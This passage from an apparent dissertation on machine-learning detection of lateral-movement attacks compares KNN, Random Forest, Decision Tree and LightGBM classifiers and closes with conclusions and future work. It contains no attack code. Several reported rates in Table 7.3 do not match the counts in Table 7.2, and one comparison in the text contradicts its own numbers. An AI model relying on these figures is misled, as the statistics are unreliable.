ing that given the nature of the dataset (highly imbalanced), models were trained

using a One-vs-All method that described in detail in 7.2.1.2.These results have

been averaged over 10 stratified cross-validation folds to avoid overfitting, provid-

ing a comprehensive assessment. Within the table, one can find key performance

metrics that are crucial for evaluation, including AUC (Area Under the Curve), Pre-

cision, Recall, F1-score, Accuracy, and Total Execution Time (T.E.Time), which is

expressed in days, hours, minutes, and seconds.

It is pertinent to underscore that, as it is mentioned before, the inclusion of the

Accuracy metric serves primarily to ensure completeness. Our primary emphasis

remains on the AUC and F1-score metrics, given the imbalanced nature of the

dataset. Cells containing Accuracyvalues are designated with a gray shading for

reference.

To enhance clarity, this table employs a color-coded scheme to highlight the best

scores in green font, while the poorest scores are presented in red. Moreover, the

table delineates the best and worst total execution times, using green and red fonts,

respectively.
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Table 7.1: Performance Metrics of Shallow ML Models

Model AUC Precision Recall F1 Accuracy

KNN 98.26 99.74 99.67 99.70 99.46

RF 99.63 99.95 99.86 99.94 99.82

DT 99.52 99.93 99.87 99.90 99.82

LightGBM 99.64 99.97 99.96 99.97 99.90

LightGBM classifier takes the lead with an AUC of 99.64%, highlighting its ro-

bustness and reliability in discriminating between the classes, closely followed by

the Random Forest (RF) model at 99.63%.

Decision Trees (DT) also put forth a commendable AUC of 99.52%, making it

slightly less capable than the Random Forest but still highly effective.

Although KNN Jaccard shows a respectable AUC of 98.26%, meaning that this

model offers very good class discrimination capabilities. However, in the given com-

parison, it stands as the least effective model based on AUC.

Given the slight difference in AUC scores, especially between LightGBM and RF,

one might need to consider other metrics and practical implications for discerning

the best model. As it is already known, Precision gauges the accuracy of positive

predictions, Recall represents the model’s capability to identify all positive samples,

and F1-score balances the trade-off between Precision and Recall. Based on that,

we can assume the following:

• LightGBM’s runtime is 5 minutes and 35 seconds, just a bit longer than RF

which completes in just under 5 minutes. For the level of accuracy it offers,

this execution time is remarkable. Both LightGBM and RF show near-perfect

scores on these metrics, attesting to their ability to detect EoRS and EoHT

within a flood of normal traffic records.

• DT closely follows this performance, reinforcing its efficacy in the given task.With

a runtime of 1 minute 15 seconds, Decision Trees is the quickest. However,

when combined with its marginally lower AUC, one must consider the trade-off

between speed and efficacy.

• KNN Jaccard’s scores, though high (2 hours), don’t match the near-perfect lev-

els of its counterparts. This slight diminution in precision or recall could have

significant implications, given the potential fallout of cybersecurity threats.
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Beyond accuracy and precision, the time efficiency of models, especially in real-

time intrusion detection systems, is indispensable.

• DT with an execution time of 1 minute and 15 seconds, is the fastest. This

rapid processing might give it an edge in applications where time is a limiting

factor.

• RF and LightGBM follow with times of approximately 5 minutes. Given their

superior AUC and other metrics, this time cost might be justifiable in many

scenarios.

• KNN Jaccard, despite its slightly inferior performance metrics, takes a signifi-

cantly longer time (almost 2 hours). This protracted execution time could be

a substantial bottleneck, especially in real-time systems.

While all models showcased impressive results, the choice hinges on the specific

requirements and constraints of the application. If time efficiency is paramount, the

DT model emerges as a front-runner. However, if the highest detection accuracy,

even at the cost of a few additional minutes, is desired, then LightGBM or RF would

be apt choices. KNN Jaccard, due to its extended execution time, seems less suited

for real-time applications, despite its respectable performance metrics. In the end,

the ideal model selection necessitates a balance between accuracy and efficiency,

tailored to the specific demands of the cybersecurity infrastructure in question.

In our case, while LightGBM demonstrates marginally better AUC, Precision, Re-

call, and F1-score, the RF model is very close in these metrics and more time-efficient

than LightGBM. However, if the slight increase in execution time of LightGBM is

not a concern, then it may be seen as the superior choice due to its marginally better

performance metrics. DT offer the fastest execution but at the expense of a slight

decrease in the AUC. KNN Jaccard, despite having competitive precision, recall,

and F1-score, is significantly hampered by its long execution time and lower AUC.

For a more profound comprehension of the analysis and its findings, Figure 7.1

complements the tabulated information. It provides the confusion matrices for each

machine learning model, offering valuable insights into the classifiers’ performance

and their ability to discriminate between different classes through an explicit rep-

resentation of each classifier’s True Positive (TP), True Negative (TN), False Posi-

tive (FP), and False Negative (FN) rates.
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(a) KNN (b) Random Forest

(c) Dicision Tree (d) LightGBM

Figure 7.1: Confusion Matrix outcomes for the shallow classification experiments

Table 7.2: Performance Metrics of Machine Learning Classifiers (Absolute Counts)

Models TP TN FP FN Misclassified

KNN Jaccard 401,589 40,557 983 1,353 2,336

Random Forest 402,435 41,266 204 578 782

Decision Tree 402,318 41,373 274 518 792

LightGBM 402,889 41,297 208 89 297
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Table 7.3: Performance Evaluation of Machine Learning Models

Models TPR TNR FPR FNR Misclassification Rate

KNN Jaccard 99.66% 99.71% 0.29% 0.34% 0.57%

Random Forest 99.86% 99.58% 0.42% 0.14% 0.56%

Decision Tree 99.87% 99.39% 0.61% 0.13% 0.74%

LightGBM 99.98% 99.56% 0.44% 0.02% 0.46%

A comprehensive interpretation and analysis of the results is presented, drawing

upon the data delineated in Tables 7.2 and 7.3. These tables elucidate the per-

formance metrics of each classifier under consideration. By closely examining these

metrics, this discourse seeks to derive critical insights into the strengths, weaknesses,

and potential applications of each model.

1. KNN:

• With a TP count of 401,589, KNN exhibits commendable accuracy in

detecting normal traffic instances. The corresponding confusion matrix

in Figure 7.1a visually reinforces this accuracy.

• The classifier correctly identified 40,557 combined instances of EoRS and

EoHT.

• However, the presence of 983 FPs and 1,353 FNs sheds light on its limi-

tations.

• The misclassification rate for KNN rests at 0.57%, suggesting room for

improvement.

2. Random Forest(RF):

• The RF classifier, by correctly identifying 402,435 normal traffic in-

stances, outpaces KNN. This outperformance is clearly reflected in Fig-

ure 7.1b.

• The classifier has a TN number of 41,266, indicating efficiency in identi-

fying the fine points of the EoRS and EoHT samples.

• The relatively low number of 204 FP and 578 FN underlines its robust-

ness.

• The misclassification rate, slightly higher than KNN, is 0.56

3. Decision Tree (DT)
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• The DT classifier, with a TP of 402,318, is at the same level as RF.

The visualization in Figure 7.1c offer a deeper dive into its performance

metrics.

• Classifiers’ outperformance is further highlighted by a TN of 41,373. How-

ever, it falters slightly with 274 false positives, although it redeems with

518 false negatives.

• A misclassification rate of 0.74%, while competitive, suggests potential

areas of optimization.

4. LightGBM

• Among the candidate models, LightGBM leads with a remarkable TP

count of 402,889.

• While its TN count of 41,297 is marginally lower than that of Decision

Tree, it shines with the fewest false negatives at 89.

• The number of false positives, while higher than Random Forest, is

masked by its overall performance.

• With a misclassification rate of just 0.46%, LightGBM sets a benchmark

Upon dissecting the confusion matrices:

• The LightGBM classifier emerges as a formidable contender, especially when

emphasizing the accurate detection of positive instances. Its near-perfect TPR

combined with a competitive TNR solidifies its position.

• The Random Forest classifier, with a balanced performance across metrics,

may be a judicious choice for applications demanding holistic performance.

• While the Decision Tree demonstrates an impressive TPR, its relatively higher

FPR could be a potential concern.

• The KNN model, despite its strong TPR and TNR, might face challenges in

real-world scenarios due to its non-negligible FPR and FNR.

Incorporating both the AUC scores and insights from the confusion matrices, it

is evident that the LightGBM and Random Forest models exhibit superior perfor-

mance characteristics. The LightGBM model, with its notable outperformance in

reducing FN, might be the optimal choice for applications where the consequences

of overlooking positive instances are significant.

However, Random Forest offers a well-rounded performance profile, proficiently

balancing both types of classification errors. It would be especially beneficial in

situations where both false positives and negatives carry substantial implications.
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The Decision Tree classifier, while marginally lagging in AUC, compensates with

the swiftest execution time. Thus, in time-sensitive applications, this model may

hold the edge.

Lastly, while the KNN Jaccard model offers commendable classification metrics,

its extended execution time might make it less attractive for real-time applications.

In summary, while the LightGBM classifier appears to be the most adept over-

all, the final model choice should be predicated on the unique requirements and

constraints of the task at hand.
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Chapter 8

Conclusion and Future Work

8.1 Conclusions

In this dissertation, we delved deep into the area of LM detection in network

systems, with a particular focus on the use of supervised machine learning models.

Key conclusions derived from the research include:

1. Significance of LM Detection: The sophisticated anatomy of LM attacks,

as discussed in Chapter 3, underscores the importance of integrated detec-

tion techniques. Given the escalating complexity of these attacks, traditional

defense mechanisms often fall short.

2. Robustness of ML Models: The application of machine learning models,

especially supervised techniques, holds great promise in detecting LM. Our

testbed, as detailed in Chapter 4, allowed for thorough experimental valida-

tions.

3. Model Proficiencies: From our experiments, the LightGBM model emerges

as a particularly powerful tool which excels in reducing the false negatives rate.

The RF classifier, however, offers a balanced performance profile, suitable for

environments where both types of classification errors are weighted. The DT

classifier’s value proposition lies in its fast execution time, while the KNN

model, despite its efficacy, may face challenges in real-time scenarios due to

computational time constraints.

4. Data Handling and Preprocessing: As outlined in Chapter 6.1, the pre-

processing phase’s effectiveness is paramount. Techniques such as One-Hot

Encoding, Min-Max scaling, and others played a crucial role in shaping the

data for modeling, proving the axiom that the quality of input data governs

the quality of outputs.
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5. Enhancing Datasets for Improved Outcomes: Our study underscored

the potential of merging datasets to enhance detection capabilities. By inte-

grating the MS Sysmon dataset, previously untested with ML algorithms, with

LMD-2023, the results remained commendably high. This merging not only

preserves the detection proficiency but, in certain metrics, even shows modest

improvements. This finding emphasizes the strategic advantage of enriching

native datasets with external, relevant data sources to enhance the efficacy of

ML models in LM detection.

6. Scalability and Real-world Relevance: It is evident from our findings that

machine learning models, while promising in controlled environments, must be

meticulously fine-tuned for real-world deployments. Factors such as dataset

diversity, computational efficiency, and the robustness of the threat landscape

necessitate continuous model training and refinement. The insights drawn

from the blend of MS Sysmon and LMD-2023 datasets serve as a testament

to this, highlighting the need for robust and adaptable solutions in the ever-

evolving realm of cybersecurity.

Based on the current work, several promising directions for future exploration

emerge:

1. Deep Learning Models: While the current research prominently employed

traditional machine learning models, the exploration of deep learning architec-

tures like Convolutional Neural Networks (CNN) or RNN might offer further

refinements in detection capabilities.

2. Transfer Learning: Given the rapid evolution of cyber threats, a model

that adapts and learns from new scenarios can be invaluable. Techniques like

transfer learning, where models trained on one task are fine-tuned for another,

can be explored for their efficacy in LM detection.

3. Real-time Detection: While models like KNN exhibit strong potential,

their computational time poses challenges for real-time applications. Research

into optimizing these models or leveraging hardware accelerations for real-time

detection can be pursued.

4. Expansion of Testbed: Our testbed, as detailed in Chapter 4, simulates

a Windows environment. However, LM attacks are not confined to this OS.

Future work can incorporate diverse operating systems and configurations,

offering a more holistic detection mechanism.
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5. Interplay of Multiple Models: Ensemble methods, which combine multiple

models’ outputs, might offer improved detection rates. Exploring diverse en-

semble techniques, from bagging and boosting to stacking, can be an intriguing

future direction.

6. Feedback Loops: Introducing feedback mechanisms where false classifica-

tions (both positive and negative) can be looped back to train the models,

thereby refining their accuracy over time, can be a valuable addition to the

current methodology.

In essence, while the current study lays a significant foundation in the realm of

LM detection using supervised ML techniques, the dynamic nature of cyberthreats

mandates continued exploration, innovation, and validation. The paths highlighted

above can serve as catalysts in our endeavor to build increasingly resilient systems.
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